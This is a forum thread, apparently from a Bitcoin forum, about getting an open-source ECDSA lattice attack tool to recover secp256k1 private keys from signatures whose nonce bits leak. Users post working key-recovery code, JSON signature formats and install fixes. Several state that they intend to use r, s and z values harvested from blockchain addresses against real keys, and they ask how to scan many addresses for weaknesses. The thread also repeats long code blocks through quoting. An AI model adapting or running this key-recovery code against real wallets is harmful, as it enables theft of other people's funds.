I can rewrite those code , for easy and understanding -> python with sage version
my propose $100 on my btc account, of course before start work
Topic: lattice-attack || how to run without error (Read 3260 times)
Code:
p = 0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f
n = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141
E = EllipticCurve(GF(p), [0, 7])
G = E.point( (0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798,0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8)) # Base point
import random
def egcd(a, b):
if a == 0:
return (b, 0, 1)
else:
g, y, x = egcd(b % a, a)
return (g, x - (b // a) * y, y)
def modinv(a, m):
g, x, y = egcd(a, m)
if g != 1:
raise Exception('modular inverse does not exist')
else:
return x % m
def sign(privkey,nonce,message):
z=message
nonceG=nonce*G
rx,rye=nonceG.xy()
rx=int(rx)
s=(z+int(rx)*privkey)*modinv(nonce,n)%n
return int(rx), int(s), int(z)
#
private=0x12345678901234567890 #example
public_key=private*G
print('public_key:',public_key)
for i in range(1,5):
nonce=random.randrange(2**256-1)
message=random.randrange(2**256-1)
r,s,z = sign(private,nonce,message)
print("k = ",(nonce))
print()
print("r = ",(r))
print("s = ",(s))
print("z = ",(z))
print()
#output
public_key: (105243071627259047368667483594044765021982824084363382876153694762750522988401 :
104125598182348586056118441571689985999353468102348956648162259104921527704151 : 1)
k = 29083908611578474659724835409188629928450877954572645032653586874541462703237
r = 59696872847024287764883588359229125525293276767477693801880266944929876663510
s = 80010627594232692567321382817171148350979277410542815563295883382250157622365
z = 29046398954207568557559337812845639802158825374855453790727264507720942269061
k = 69337410267126143733445433769841521036184947061861184729931918182952636713603
r = 66204497299302794813448884860580533040028016382253230896212796932956850307851
s = 78197288316910247412893934169331566081232042979407260898010071194692833862752
z = 61490995350470215933587146879107314396788082593003439971438111557980048214364
k = 54369543228147138762559582927936238614035377338157105228406927029717132153226
r = 37044516715065049012561472807452925555312743982989311611730725335033602827346
s = 92461946708536229787310797942574898629331316369909556197824596742434968354935
z = 53622079066303081310409199779963535117997475674801702670649253314258639177195
k = 40168673992090659834561921614463767550862354984631432380883735769884152505584
r = 103919090362588117180151567326283890021253888086769542803093556743402383166255
s = 71275504518099351203494061824773539914502255758119765372192658739494934607323
z = 2815976014827110489026899227085751067228569669674380545422790815579479978003
#data.json
{
"curve": "SECP256K1",
"public_key": [
105243071627259047368667483594044765021982824084363382876153694762750522988401,
104125598182348586056118441571689985999353468102348956648162259104921527704151
],
"known_type": "MSB",
"known_bits": ?, ? how to set correct value
"signatures": [
{
"r": 59696872847024287764883588359229125525293276767477693801880266944929876663510,
"s": 80010627594232692567321382817171148350979277410542815563295883382250157622365,
"kp": ? how to set correct value
},
{
"r": 66204497299302794813448884860580533040028016382253230896212796932956850307851,
"s": 78197288316910247412893934169331566081232042979407260898010071194692833862752,
"kp": ? how to set correct value
},
{
"r": 37044516715065049012561472807452925555312743982989311611730725335033602827346,
"s": 92461946708536229787310797942574898629331316369909556197824596742434968354935,
"kp": ? how to set correct value
},
{
"r": 103919090362588117180151567326283890021253888086769542803093556743402383166255,
"s": 71275504518099351203494061824773539914502255758119765372192658739494934607323,
"kp": ? how to set correct value
}
],
"message": [
29046398954207568557559337812845639802158825374855453790727264507720942269061,
61490995350470215933587146879107314396788082593003439971438111557980048214364,
53622079066303081310409199779963535117997475674801702670649253314258639177195,
2815976014827110489026899227085751067228569669674380545422790815579479978003
]
}
Using my sage code to how to write correct data.json format, please the anyone write correct json format, update my code please..
And the red is that I know a bit how to set
Edit:
python lattice_attack.py -f data.json
----- Lattice ECDSA Attack -----
Loading data from file data.json
Traceback (most recent call last):
File "/workspaces/cbmbhpeedwfpy/lattice-attack/lattice_attack.py", line 259, in
lattice_attack_cli(arg.f, arg.l)
File "/workspaces/cbmbhpeedwfpy/lattice-attack/lattice_attack.py", line 222, in lattice_attack_cli
hash_int = ecdsa_lib.sha2_int(bytes(message))
ValueError: bytes must be in range(0, 256)
k = 29083908611578474659724835409188629928450877954572645032653586874541462703237
i know MSB red how to set kp: 29083908611578474659724835409188629 # this is correct or not
and "known_bits": ? # how to correct know bit
and "message": [
29046398954207568557559337812845639802158825374855453790727264507720942269061,
61490995350470215933587146879107314396788082593003439971438111557980048214364,
53622079066303081310409199779963535117997475674801702670649253314258639177195,
2815976014827110489026899227085751067228569669674380545422790815579479978003
]
message is correct format or not ??
Hello friends. I've been trying to learn for a while. Where and how do you find the known bit value and Lbs/mbs? No matter what I did, I could not perform a successful lattice attack. I'm sorry for my English and my inexperience. I'm trying to learn.
https://github.com/bitlogik/lattice-attack lattice-attacklattice-attack only can recovery private key from 252 bit nonce (must know 4 bit from every 88 rsz or signatures )
Code:
# python3 gen_data.py -f data252_88.json -m "HelloYou" -c SECP256K1 -b 4 -t MSB -n 88
# python3 lattice_attack.py -f data252_88.json
......
BKZ reduction : block size = 25
...
...
Key found \o/ 000000000000000000000000F320D5823C07E40B8EA073FF9AF7017C2A9294EB
time: 4.3 second
only 4.3 seconds , I can find my private key
when I test 254, 255, 256 bit , even use 1000~2000 rsz , use lattice-attack unable to recovery private key
Hello friends. I've been trying to learn for a while. Where and how do you find the known bit value and Lbs/mbs? No matter what I did, I could not perform a successful lattice attack. I'm sorry for my English and my inexperience. I'm trying to learn.
If I understand correctly from the answers on github, the creator does not want to change his code.
Well, the code is working as it should, so why should he change it? It finds the priv key from multiple signatures, when some LSB or MSB of each signature nonce is leaked.
Some problems with install fpylll
Developer using Ubuntu >= 20.04
So try on Ubuntu 20.04
pip install git+https://github.com/bitlogik/lattice-attack
pip install git+https://github.com/fplll/fpylll.git
All command try installs not successful both on os windows and Linux
using conda not successful too
conda install -c conda-forge fpylll
all methods include update apt too
sudo add-apt-repository universe
sudo apt update
sudo apt install python3-fpylll
pip install Cython
all fail
remove sagemath and it will work. somehow fpylll clash with sagemath and it does not run properly. removing sagemath will solve your issue. in debian,
#apt remove sagemath
#apt update
then run your lattice_attack.py again.
First, we look at signatures:
Edit:
Code:
s=(z+rd)/k
sk=z+rd
sk-z=rd
(sk-z)/r=d
(s/r)k-(z/r)=d
(z/r)+d=(s/r)k
k=((z/r)+d)*(r/s)
Then, things are quite simple:sk=z+rd
sk-z=rd
(sk-z)/r=d
(s/r)k-(z/r)=d
(z/r)+d=(s/r)k
k=((z/r)+d)*(r/s)
Code:
z/r=random
r/s=random
But we can do more than that:r/s=random
Code:
z/r=120_bit_number_v1
r/s=120_bit_number_v2
k=(120_bit_number_v1+d)*120_bit_number_v2
If "d" is our 120_bit_privkey, then first we add another 120_bit number to that (we can use 119-bit numbers to be 100% sure). Then, we have 121-bit number at most, it cannot be bigger. And if we multiply that by another 119-bit number (just to be sure), then we will have 121+119=240 bits in our result. It cannot be bigger than that, because if you multiply M-bit number by N-bit number, then the result has at most M+N bits. So, in this way I can be absolutely sure that if "d" is a 120-bit number, then "k" is a 240-bit number. In the same way, it is possible to generate many signatures with many different N-bit values. But it is still not enough to use that in a lattice attack, because it needs some randomness in the right places, so something else is also needed to make it.r/s=120_bit_number_v2
k=(120_bit_number_v1+d)*120_bit_number_v2
Edit:
Quote
show your code
Code:
def generates_signatures(curve):
puzzle120=int("00000000000000000000000000000000007fffffffffffffffffffffffffffff",16) #119-bit to be 100% sure to not fall into 241-bit range
known_bits=16
n_value=ecdsa_lib.curve_n(curve)
Q_point=[93499419120076195219278579763555015417347613618260420189054155605804414805552,19494200143356336257404688340550956357466777176798681646526975620299854296492]
sigs = []
for index in range(100):
binaryIndex=(index*2).to_bytes(32,'big')
binaryIndex2=(index*2+1).to_bytes(32,'big')
hashedIndex=ecdsa_lib.sha2_int(binaryIndex)
hashedIndex2=ecdsa_lib.sha2_int(binaryIndex2)
z_value_with_r=(hashedIndex%puzzle120)
added_point=ecdsa_lib.privkey_to_pubkey(z_value_with_r,curve)
final_point=add_point(Q_point[0],Q_point[1],added_point[0],added_point[1])
r_value_with_s=(hashedIndex2%puzzle120)
R_point=multiply_point(final_point[0],final_point[1],r_value_with_s)
r_value=R_point[0]
s_value_with_r=ecdsa_lib.inverse_mod(r_value_with_s,n_value)
s_value=(s_value_with_r*r_value)%n_value
z_value=(z_value_with_r*r_value)%n_value
sigs.append(
{
"r": r_value,
"s": s_value,
"kp": 0,
"hash": z_value
}
)
ret = {
"curve": curve.upper(),
"public_key": Q_point,
"known_type": "MSB",
"known_bits": known_bits,
"signatures": sigs,
}
return ret
puzzle120=int("00000000000000000000000000000000007fffffffffffffffffffffffffffff",16) #119-bit to be 100% sure to not fall into 241-bit range
known_bits=16
n_value=ecdsa_lib.curve_n(curve)
Q_point=[93499419120076195219278579763555015417347613618260420189054155605804414805552,19494200143356336257404688340550956357466777176798681646526975620299854296492]
sigs = []
for index in range(100):
binaryIndex=(index*2).to_bytes(32,'big')
binaryIndex2=(index*2+1).to_bytes(32,'big')
hashedIndex=ecdsa_lib.sha2_int(binaryIndex)
hashedIndex2=ecdsa_lib.sha2_int(binaryIndex2)
z_value_with_r=(hashedIndex%puzzle120)
added_point=ecdsa_lib.privkey_to_pubkey(z_value_with_r,curve)
final_point=add_point(Q_point[0],Q_point[1],added_point[0],added_point[1])
r_value_with_s=(hashedIndex2%puzzle120)
R_point=multiply_point(final_point[0],final_point[1],r_value_with_s)
r_value=R_point[0]
s_value_with_r=ecdsa_lib.inverse_mod(r_value_with_s,n_value)
s_value=(s_value_with_r*r_value)%n_value
z_value=(z_value_with_r*r_value)%n_value
sigs.append(
{
"r": r_value,
"s": s_value,
"kp": 0,
"hash": z_value
}
)
ret = {
"curve": curve.upper(),
"public_key": Q_point,
"known_type": "MSB",
"known_bits": known_bits,
"signatures": sigs,
}
return ret
I tested your code. I believe the output gave several R and S value. I wish you had continue finishing the script. Z value and Kp didn't come out. What do I need to add in the script so that the Z_hash value and kp can be output?
If I understand correctly from the answers on github, the creator does not want to change his code.
Bro, can try talk with Antoine Ferron - BitLogiK at his github ? I think he can help modify code to working condition
https://github.com/bitlogik/lattice-attack/issues
ps a I was talk with him previously, he is ansver to queschion. Becausd I dont know what exact scrypt do, for me hard will talk with him...
That's actually a great idea, if you guys want we could offer the creator some $ to edit the code.
For talk about $$ for coder of original scrypt for rsz generation, we need to know, what is difference of original and modified versions of scrypt, and what not work in the scrypt.
May be this is imposible to solve ... unfortunately.
I have a telegramm of original scrypt developer, and first of all we ned try ask him for free help and message post to devevrloper iesues in github on link what I provide previously in this thread.
br
Just ask him can he edit the script in such a way that the user is able to paste a list of public keys or addresses and the script will go through that list and search for weaknesses.
You can invite the creator to this thread.
I can rewrite those code , for easy and understanding -> python with sage version
my propose $100 on my btc account, of course before start work
my propose $100 on my btc account, of course before start work
and waht will be your new code doing ? generate sighnatures like original scrypt without rial world use posibble ?
br
Bro, can try talk with Antoine Ferron - BitLogiK at his github ? I think he can help modify code to working condition
https://github.com/bitlogik/lattice-attack/issues
ps a I was talk with him previously, he is ansver to queschion. Becausd I dont know what exact scrypt do, for me hard will talk with him...
That's actually a great idea, if you guys want we could offer the creator some $ to edit the code.
For talk about $$ for coder of original scrypt for rsz generation, we need to know, what is difference of original and modified versions of scrypt, and what not work in the scrypt.
May be this is imposible to solve ... unfortunately.
I have a telegramm of original scrypt developer, and first of all we ned try ask him for free help and message post to devevrloper iesues in github on link what I provide previously in this thread.
br
Bro, can try talk with Antoine Ferron - BitLogiK at his github ? I think he can help modify code to working condition
https://github.com/bitlogik/lattice-attack/issues
ps a I was talk with him previously, he is ansver to queschion. Becausd I dont know what exact scrypt do, for me hard will talk with him...
That's actually a great idea, if you guys want we could offer the creator some $ to edit the code.
Here is my modified version of "gen_data.py":
Code:
#!/usr/bin/env python3
# Random demo data generator for Lattice ECDSA Attack
# Copyright (C) 2021 Antoine Ferron - BitLogiK
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see
#
import argparse
import random
import json
import ecdsa_lib
from fpylll import LLL, BKZ, IntegerMatrix
def reduce_lattice(lattice, block_size=None):
if block_size is None:
return LLL.reduction(lattice)
return BKZ.reduction(
lattice,
BKZ.Param(
block_size=block_size,
strategies=BKZ.DEFAULT_STRATEGY,
auto_abort=True,
),
)
def test_result(mat, target_pubkey, curve):
mod_n = ecdsa_lib.curve_n(curve)
for row in mat:
candidate = row[-2] % mod_n
if candidate > 0:
cand1 = candidate
cand2 = mod_n - candidate
if target_pubkey == ecdsa_lib.privkey_to_pubkey(cand1, curve):
return cand1
if target_pubkey == ecdsa_lib.privkey_to_pubkey(cand2, curve):
return cand2
return 0
def build_matrix(sigs, curve, num_bits, bits_type, hash_val):
num_sigs = len(sigs)
n_order = ecdsa_lib.curve_n(curve)
curve_card = 2 ** ecdsa_lib.curve_size(curve)
lattice = IntegerMatrix(num_sigs + 2, num_sigs + 2)
kbi = 2 ** num_bits
inv = ecdsa_lib.inverse_mod
if hash_val is not None:
hash_i = hash_val
if bits_type == "LSB":
for i in range(num_sigs):
lattice[i, i] = 2 * kbi * n_order
if hash_val is None:
hash_i = sigs[i]["hash"]
lattice[num_sigs, i] = (
2
* kbi
* (
inv(kbi, n_order)
* (sigs[i]["r"] * inv(sigs[i]["s"], n_order))
% n_order
)
)
lattice[num_sigs + 1, i] = (
2
* kbi
* (
inv(kbi, n_order)
* (sigs[i]["kp"] - hash_i * inv(sigs[i]["s"], n_order))
% n_order
)
+ n_order
)
else:
# MSB
for i in range(num_sigs):
lattice[i, i] = 2 * kbi * n_order
if hash_val is None:
hash_i = sigs[i]["hash"]
lattice[num_sigs, i] = (
2 * kbi * ((sigs[i]["r"] * inv(sigs[i]["s"], n_order)) % n_order)
)
lattice[num_sigs + 1, i] = (
2
* kbi
* (
sigs[i]["kp"] * (curve_card // kbi)
- hash_i * inv(sigs[i]["s"], n_order)
)
+ n_order
)
lattice[num_sigs, num_sigs] = 1
lattice[num_sigs + 1, num_sigs + 1] = n_order
return lattice
MINIMUM_BITS = 4
RECOVERY_SEQUENCE = [None, 15, 25, 40, 50, 60]
SIGNATURES_NUMBER_MARGIN = 1.03
def minimum_sigs_required(num_bits, curve_name):
curve_size = ecdsa_lib.curve_size(curve_name)
return int(SIGNATURES_NUMBER_MARGIN * 4 / 3 * curve_size / num_bits)
def recover_private_key(
signatures_data, h_int, pub_key, curve, bits_type, num_bits, loop
):
# Is known bits > 4 ?
# Change to 5 for 384 and 8 for 521 ?
if num_bits < MINIMUM_BITS:
print(
"This script requires fixed known bits per signature, "
f"and at least {MINIMUM_BITS}"
)
return False
# Is there enough signatures ?
n_sigs = minimum_sigs_required(num_bits, curve)
if n_sigs > len(signatures_data):
print("Not enough signatures")
return False
loop_var = True
while loop_var:
sigs_data = random.sample(signatures_data, n_sigs)
lattice = build_matrix(sigs_data, curve, num_bits, bits_type, h_int)
for effort in RECOVERY_SEQUENCE:
lattice = reduce_lattice(lattice, effort)
res = test_result(lattice, pub_key, curve)
if res:
return res
loop_var = loop
if loop:
print("One more try")
return 0
def lattice_attack_cli(file_name, loop):
try:
with open(file_name, "r") as fdata:
data = json.load(fdata)
except FileNotFoundError:
print(f"Data file '{file_name}' was not found.")
return
except IOError:
print(f"Data file {file_name} can't be accessed.")
return
except json.JSONDecodeError:
print("Data file content is not JSON compatible.")
return
message = data.get("message")
if message:
hash_int = ecdsa_lib.sha2_int(bytes(message))
else:
hash_int = None # Signal to use a hash per sig, sig data
curve_string = data["curve"]
data_type = data["known_type"]
known_bits = data["known_bits"]
signatures = data["signatures"]
q_target = data["public_key"]
if not ecdsa_lib.check_publickey(q_target, curve_string):
print(
f"Public key data invalid, not on the given {curve_string.upper()} curve."
)
return
if loop:
print("Will shuffle loop until the key found.")
result = recover_private_key(
signatures, hash_int, q_target, curve_string, data_type, known_bits, loop
)
if result:
return result
return 0
def get_p_value():
return 115792089237316195423570985008687907853269984665640564039457584007908834671663
def add_point(px,py,qx,qy):
if(px==qx):
return double_point(px,py)
p_value=get_p_value()
almost_inverse=qx-px+p_value
almost_second=qy-py+p_value
almost_c=(almost_second*ecdsa_lib.inverse_mod(almost_inverse,p_value))
c=almost_c%p_value
rx=((c*c)+(2*p_value)-(px+qx))%p_value
ry=(c*(px-rx+p_value)+p_value-py)%p_value
return [rx,ry]
def double_point(px,py):
p_value=get_p_value()
triple_px_square=3*px*px
double_py=2*py
inverse_double_py=ecdsa_lib.inverse_mod(double_py,p_value)
c=(triple_px_square*inverse_double_py)%p_value
c_square=(c*c)%p_value
minus_2_px=(2*(p_value-px))%p_value
rx=(c_square+minus_2_px)%p_value
ry=(c*(px-rx+p_value)+p_value-py)%p_value
return [rx,ry]
def multiply_point(px,py,number):
has_final_point=False
final_point=[0,0]
added_point=[px,py]
while(number!=0):
if(number%2!=0):
if not has_final_point:
final_point=added_point
has_final_point=True
else: final_point=add_point(final_point[0],final_point[1],added_point[0],added_point[1])
number=number//2
added_point=double_point(added_point[0],added_point[1])
return final_point
def generates_signatures(curve):
puzzle120=int("00000000000000000000000000000000007fffffffffffffffffffffffffffff",16)
known_bits=16
n_value=ecdsa_lib.curve_n(curve)
Q_point=[93499419120076195219278579763555015417347613618260420189054155605804414805552,19494200143356336257404688340550956357466777176798681646526975620299854296492]
sigs = []
for index in range(100):
binaryIndex=(index*2).to_bytes(32,'big')
binaryIndex2=(index*2+1).to_bytes(32,'big')
hashedIndex=ecdsa_lib.sha2_int(binaryIndex)
hashedIndex2=ecdsa_lib.sha2_int(binaryIndex2)
#print(binaryIndex.hex(),hex(hashedIndex))
#print(binaryIndex2.hex(),hex(hashedIndex2))
z_value_with_r=(hashedIndex%puzzle120) #random.randrange(puzzle120)
added_point=ecdsa_lib.privkey_to_pubkey(z_value_with_r,curve)
final_point=add_point(Q_point[0],Q_point[1],added_point[0],added_point[1])
r_value_with_s=(hashedIndex2%puzzle120) #random.randrange(puzzle120)
print(hex(z_value_with_r),hex(r_value_with_s))
R_point=multiply_point(final_point[0],final_point[1],r_value_with_s)
r_value=R_point[0]
s_value_with_r=ecdsa_lib.inverse_mod(r_value_with_s,n_value)
s_value=(s_value_with_r*r_value)%n_value
z_value=(z_value_with_r*r_value)%n_value
sigs.append(
{
"r": r_value,
"s": s_value,
"kp": 0,
"hash": z_value
}
)
ret = {
"curve": curve.upper(),
"public_key": Q_point,
"known_type": "MSB",
"known_bits": known_bits,
"signatures": sigs,
}
return ret
if __name__ == "__main__":
curve="secp256k1"
n_value=ecdsa_lib.curve_n(curve)
sigs_data = generates_signatures(curve)
with open("data.json", "w") as fout:
json.dump(sigs_data, fout)
'''
d_value=lattice_attack_cli("data.json", False)
if(d_value==0):
print("failed")
else:
r_value=sigs_data["signatures"][0]["r"]
s_value=sigs_data["signatures"][0]["s"]
z_value=sigs_data["signatures"][0]["hash"]
rd_value=(r_value*d_value)%n_value
rd_plus_z_value=(rd_value+z_value)%n_value
inverted_s_value=ecdsa_lib.inverse_mod(s_value,n_value)
k_value=(rd_plus_z_value*inverted_s_value)%n_value
print("privkey:",hex(k_value))
'''
Of course, this code is messy, and it contains things like commented-out code, and some testing code from previous steps. And it is a raw dump of what I left a few months ago. And the most important thing is that it doesn't work, so it should be modified to be usable. But this is what I left before switching to other stuff, because my conclusion was that I need more mathematical knowledge to properly find out, why it fails. # Random demo data generator for Lattice ECDSA Attack
# Copyright (C) 2021 Antoine Ferron - BitLogiK
#
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see
#
import argparse
import random
import json
import ecdsa_lib
from fpylll import LLL, BKZ, IntegerMatrix
def reduce_lattice(lattice, block_size=None):
if block_size is None:
return LLL.reduction(lattice)
return BKZ.reduction(
lattice,
BKZ.Param(
block_size=block_size,
strategies=BKZ.DEFAULT_STRATEGY,
auto_abort=True,
),
)
def test_result(mat, target_pubkey, curve):
mod_n = ecdsa_lib.curve_n(curve)
for row in mat:
candidate = row[-2] % mod_n
if candidate > 0:
cand1 = candidate
cand2 = mod_n - candidate
if target_pubkey == ecdsa_lib.privkey_to_pubkey(cand1, curve):
return cand1
if target_pubkey == ecdsa_lib.privkey_to_pubkey(cand2, curve):
return cand2
return 0
def build_matrix(sigs, curve, num_bits, bits_type, hash_val):
num_sigs = len(sigs)
n_order = ecdsa_lib.curve_n(curve)
curve_card = 2 ** ecdsa_lib.curve_size(curve)
lattice = IntegerMatrix(num_sigs + 2, num_sigs + 2)
kbi = 2 ** num_bits
inv = ecdsa_lib.inverse_mod
if hash_val is not None:
hash_i = hash_val
if bits_type == "LSB":
for i in range(num_sigs):
lattice[i, i] = 2 * kbi * n_order
if hash_val is None:
hash_i = sigs[i]["hash"]
lattice[num_sigs, i] = (
2
* kbi
* (
inv(kbi, n_order)
* (sigs[i]["r"] * inv(sigs[i]["s"], n_order))
% n_order
)
)
lattice[num_sigs + 1, i] = (
2
* kbi
* (
inv(kbi, n_order)
* (sigs[i]["kp"] - hash_i * inv(sigs[i]["s"], n_order))
% n_order
)
+ n_order
)
else:
# MSB
for i in range(num_sigs):
lattice[i, i] = 2 * kbi * n_order
if hash_val is None:
hash_i = sigs[i]["hash"]
lattice[num_sigs, i] = (
2 * kbi * ((sigs[i]["r"] * inv(sigs[i]["s"], n_order)) % n_order)
)
lattice[num_sigs + 1, i] = (
2
* kbi
* (
sigs[i]["kp"] * (curve_card // kbi)
- hash_i * inv(sigs[i]["s"], n_order)
)
+ n_order
)
lattice[num_sigs, num_sigs] = 1
lattice[num_sigs + 1, num_sigs + 1] = n_order
return lattice
MINIMUM_BITS = 4
RECOVERY_SEQUENCE = [None, 15, 25, 40, 50, 60]
SIGNATURES_NUMBER_MARGIN = 1.03
def minimum_sigs_required(num_bits, curve_name):
curve_size = ecdsa_lib.curve_size(curve_name)
return int(SIGNATURES_NUMBER_MARGIN * 4 / 3 * curve_size / num_bits)
def recover_private_key(
signatures_data, h_int, pub_key, curve, bits_type, num_bits, loop
):
# Is known bits > 4 ?
# Change to 5 for 384 and 8 for 521 ?
if num_bits < MINIMUM_BITS:
print(
"This script requires fixed known bits per signature, "
f"and at least {MINIMUM_BITS}"
)
return False
# Is there enough signatures ?
n_sigs = minimum_sigs_required(num_bits, curve)
if n_sigs > len(signatures_data):
print("Not enough signatures")
return False
loop_var = True
while loop_var:
sigs_data = random.sample(signatures_data, n_sigs)
lattice = build_matrix(sigs_data, curve, num_bits, bits_type, h_int)
for effort in RECOVERY_SEQUENCE:
lattice = reduce_lattice(lattice, effort)
res = test_result(lattice, pub_key, curve)
if res:
return res
loop_var = loop
if loop:
print("One more try")
return 0
def lattice_attack_cli(file_name, loop):
try:
with open(file_name, "r") as fdata:
data = json.load(fdata)
except FileNotFoundError:
print(f"Data file '{file_name}' was not found.")
return
except IOError:
print(f"Data file {file_name} can't be accessed.")
return
except json.JSONDecodeError:
print("Data file content is not JSON compatible.")
return
message = data.get("message")
if message:
hash_int = ecdsa_lib.sha2_int(bytes(message))
else:
hash_int = None # Signal to use a hash per sig, sig data
curve_string = data["curve"]
data_type = data["known_type"]
known_bits = data["known_bits"]
signatures = data["signatures"]
q_target = data["public_key"]
if not ecdsa_lib.check_publickey(q_target, curve_string):
print(
f"Public key data invalid, not on the given {curve_string.upper()} curve."
)
return
if loop:
print("Will shuffle loop until the key found.")
result = recover_private_key(
signatures, hash_int, q_target, curve_string, data_type, known_bits, loop
)
if result:
return result
return 0
def get_p_value():
return 115792089237316195423570985008687907853269984665640564039457584007908834671663
def add_point(px,py,qx,qy):
if(px==qx):
return double_point(px,py)
p_value=get_p_value()
almost_inverse=qx-px+p_value
almost_second=qy-py+p_value
almost_c=(almost_second*ecdsa_lib.inverse_mod(almost_inverse,p_value))
c=almost_c%p_value
rx=((c*c)+(2*p_value)-(px+qx))%p_value
ry=(c*(px-rx+p_value)+p_value-py)%p_value
return [rx,ry]
def double_point(px,py):
p_value=get_p_value()
triple_px_square=3*px*px
double_py=2*py
inverse_double_py=ecdsa_lib.inverse_mod(double_py,p_value)
c=(triple_px_square*inverse_double_py)%p_value
c_square=(c*c)%p_value
minus_2_px=(2*(p_value-px))%p_value
rx=(c_square+minus_2_px)%p_value
ry=(c*(px-rx+p_value)+p_value-py)%p_value
return [rx,ry]
def multiply_point(px,py,number):
has_final_point=False
final_point=[0,0]
added_point=[px,py]
while(number!=0):
if(number%2!=0):
if not has_final_point:
final_point=added_point
has_final_point=True
else: final_point=add_point(final_point[0],final_point[1],added_point[0],added_point[1])
number=number//2
added_point=double_point(added_point[0],added_point[1])
return final_point
def generates_signatures(curve):
puzzle120=int("00000000000000000000000000000000007fffffffffffffffffffffffffffff",16)
known_bits=16
n_value=ecdsa_lib.curve_n(curve)
Q_point=[93499419120076195219278579763555015417347613618260420189054155605804414805552,19494200143356336257404688340550956357466777176798681646526975620299854296492]
sigs = []
for index in range(100):
binaryIndex=(index*2).to_bytes(32,'big')
binaryIndex2=(index*2+1).to_bytes(32,'big')
hashedIndex=ecdsa_lib.sha2_int(binaryIndex)
hashedIndex2=ecdsa_lib.sha2_int(binaryIndex2)
#print(binaryIndex.hex(),hex(hashedIndex))
#print(binaryIndex2.hex(),hex(hashedIndex2))
z_value_with_r=(hashedIndex%puzzle120) #random.randrange(puzzle120)
added_point=ecdsa_lib.privkey_to_pubkey(z_value_with_r,curve)
final_point=add_point(Q_point[0],Q_point[1],added_point[0],added_point[1])
r_value_with_s=(hashedIndex2%puzzle120) #random.randrange(puzzle120)
print(hex(z_value_with_r),hex(r_value_with_s))
R_point=multiply_point(final_point[0],final_point[1],r_value_with_s)
r_value=R_point[0]
s_value_with_r=ecdsa_lib.inverse_mod(r_value_with_s,n_value)
s_value=(s_value_with_r*r_value)%n_value
z_value=(z_value_with_r*r_value)%n_value
sigs.append(
{
"r": r_value,
"s": s_value,
"kp": 0,
"hash": z_value
}
)
ret = {
"curve": curve.upper(),
"public_key": Q_point,
"known_type": "MSB",
"known_bits": known_bits,
"signatures": sigs,
}
return ret
if __name__ == "__main__":
curve="secp256k1"
n_value=ecdsa_lib.curve_n(curve)
sigs_data = generates_signatures(curve)
with open("data.json", "w") as fout:
json.dump(sigs_data, fout)
'''
d_value=lattice_attack_cli("data.json", False)
if(d_value==0):
print("failed")
else:
r_value=sigs_data["signatures"][0]["r"]
s_value=sigs_data["signatures"][0]["s"]
z_value=sigs_data["signatures"][0]["hash"]
rd_value=(r_value*d_value)%n_value
rd_plus_z_value=(rd_value+z_value)%n_value
inverted_s_value=ecdsa_lib.inverse_mod(s_value,n_value)
k_value=(rd_plus_z_value*inverted_s_value)%n_value
print("privkey:",hex(k_value))
'''
Quote
I don't understand how it knows which address I want to attack?
It doesn't. All things are executed locally. All keys are random and all private keys are known. If you want to attack real keys, you have to change that code, because it is only an example, where all private keys are first generated, and then limited to some range. Then, this generator only can show you that the attack works in practice: for locally generated keys, it can find a solution.If you want to attack for example 120-bit key, then you have to modify that code. For example I tried using 120-bit "z/r" and 120-bit "r/s". Then, from 120-bit puzzle key, I've got 240-bit nonces. If you add N-bit number with N-bit number, the result has N+1 bits. If you multiply N-bit number by M-bit number, you can get M+N bits. By combining those two rules, your nonces could have: "(bit(119)+bit(119))*bit(120)=bit(120)*bit(120)=bit(240)". Then, after checking 100 random signatures that are guaranteed to have no more than 240 bits, you can see that it doesn't work. It is not random enough. It would work if you could use some 120-bit key, add some 256-bit value, multiply it by another 256-bit value, and somehow reach 240-bit value. But as it is not the case, the randomness in "z/r" and "r/s" is not sufficient to recover any key in that way, because both added and multiplied values are not random enough.
Quote
I don't understand how it knows which address I want to attack?
It doesn't. All things are executed locally. All keys are random and all private keys are known. If you want to attack real keys, you have to change that code, because it is only an example, where all private keys are first generated, and then limited to some range. Then, this generator only can show you that the attack works in practice: for locally generated keys, it can find a solution.If you want to attack for example 120-bit key, then you have to modify that code. For example I tried using 120-bit "z/r" and 120-bit "r/s". Then, from 120-bit puzzle key, I've got 240-bit nonces. If you add N-bit number with N-bit number, the result has N+1 bits. If you multiply N-bit number by M-bit number, you can get M+N bits. By combining those two rules, your nonces could have: "(bit(119)+bit(119))*bit(120)=bit(120)*bit(120)=bit(240)". Then, after checking 100 random signatures that are guaranteed to have no more than 240 bits, you can see that it doesn't work. It is not random enough. It would work if you could use some 120-bit key, add some 256-bit value, multiply it by another 256-bit value, and somehow reach 240-bit value. But as it is not the case, the randomness in "z/r" and "r/s" is not sufficient to recover any key in that way, because both added and multiplied values are not random enough.
--snip--
gen_data.py - as I understand it generates not real data. I want to insert my rsz (r,s, nonce - if I understood correctly) values collected from the blockchain.gen_data.py generate real data. By real, i mean valid ECDSA data. If you want to use own data, you should run gen_data.py and see it's output JSON file to know format data accepted by this tool.
I don't understand how it knows which address I want to attack?
Code:
python3 gen_data.py -f data1.json -m "HelloYou" -c SECP256R1 -b 8 -t MSB -n 50
There are many addresses in the blockchain in 100+ transactions, how to check them for weak bits using this attack?I collected 1000+ rsz from one address, is it possible to use it?
P.S.Sorry for my english, it's very difficult for me to translate.
Firstly if you are talking about lattice attack please be very carefully with definition ot this type attack:)
becouse there is no one "definition" for lattice attack.
becouse there is no one "definition" for lattice attack.
That's true, but GitHub repository of this tool (lattice-attack) already state what kind of attack it perform.
